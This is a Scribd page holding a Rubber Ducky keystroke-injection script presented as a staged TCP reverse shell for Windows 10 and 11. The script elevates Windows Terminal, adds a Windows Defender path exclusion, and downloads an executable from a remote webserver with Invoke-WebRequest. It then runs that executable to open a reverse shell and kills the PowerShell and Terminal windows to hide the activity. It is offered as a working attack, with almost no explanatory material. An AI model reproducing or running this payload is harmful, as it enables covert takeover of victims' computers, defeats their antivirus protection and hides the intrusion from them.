Scribd
Upload
9 views1 page

DuckyCode TCP Reverse Shell Script

The document provides instructions for using a staged interpreter TCP reverse ducky shell on Windows systems. It details downloading an executable from a webserver that sets up a reverse shell, importing variables, adding an exclusion to Windows Defender, and running the executable before stopping powershell and terminal processes.

Uploaded by

Bloodcode Hacking
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
9 views1 page

DuckyCode TCP Reverse Shell Script

The document provides instructions for using a staged interpreter TCP reverse ducky shell on Windows systems. It details downloading an executable from a webserver that sets up a reverse shell, importing variables, adding an exclusion to Windows Defender, and running the executable before stopping powershell and terminal processes.

Uploaded by

Bloodcode Hacking
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

REM |

=========================================================================|
REM Staged Interpreter TCP Reverse Ducky Shell
REM Author: DVBNL
REM Version 2.0
REM OS Tested: Windows 11, Windows 10
REM INTERPRETER STAGED REVERSE SHELL > executable
REM WORKS WITH NEWEST WINDOWS TERMINAL ([Link])
REM CHANGE >> LINE 23 - 28 VARIABLES + URL LINE 39
REM |
=========================================================================|

REM |===Start Windows Terminal as admin===|


DELAY 2000
GUI r
DELAY 250
STRING powershell "start-process wt -verb runas"
ENTER
DELAY 2500
LEFT
ENTER
DELAY 1000

REM |===Import variables===|


STRING $dir = "C:\temp"
ENTER
STRING $shell = "$dir\[Link]"
ENTER
DELAY 250

REM |===Add path exclusion to Windows Defender===|


STRING Add-MpPreference -ExclusionPath $dir
ENTER
DELAY 750

REM |===Download shell executable from Webserver===|


STRING Invoke-WebRequest -Uri [Link] -OutFile $shell
ENTER
DELAY 750

REM |===Run .exe and set up Staged TCP reverse shell===|


STRING Start-Process $shell
ENTER
DELAY 750

REM |===Kill all active wt or powershell processes (Visibility)===|


STRING Stop-Process -Name powershell, WindowsTerminal
ENTER
DELAY 500

You might also like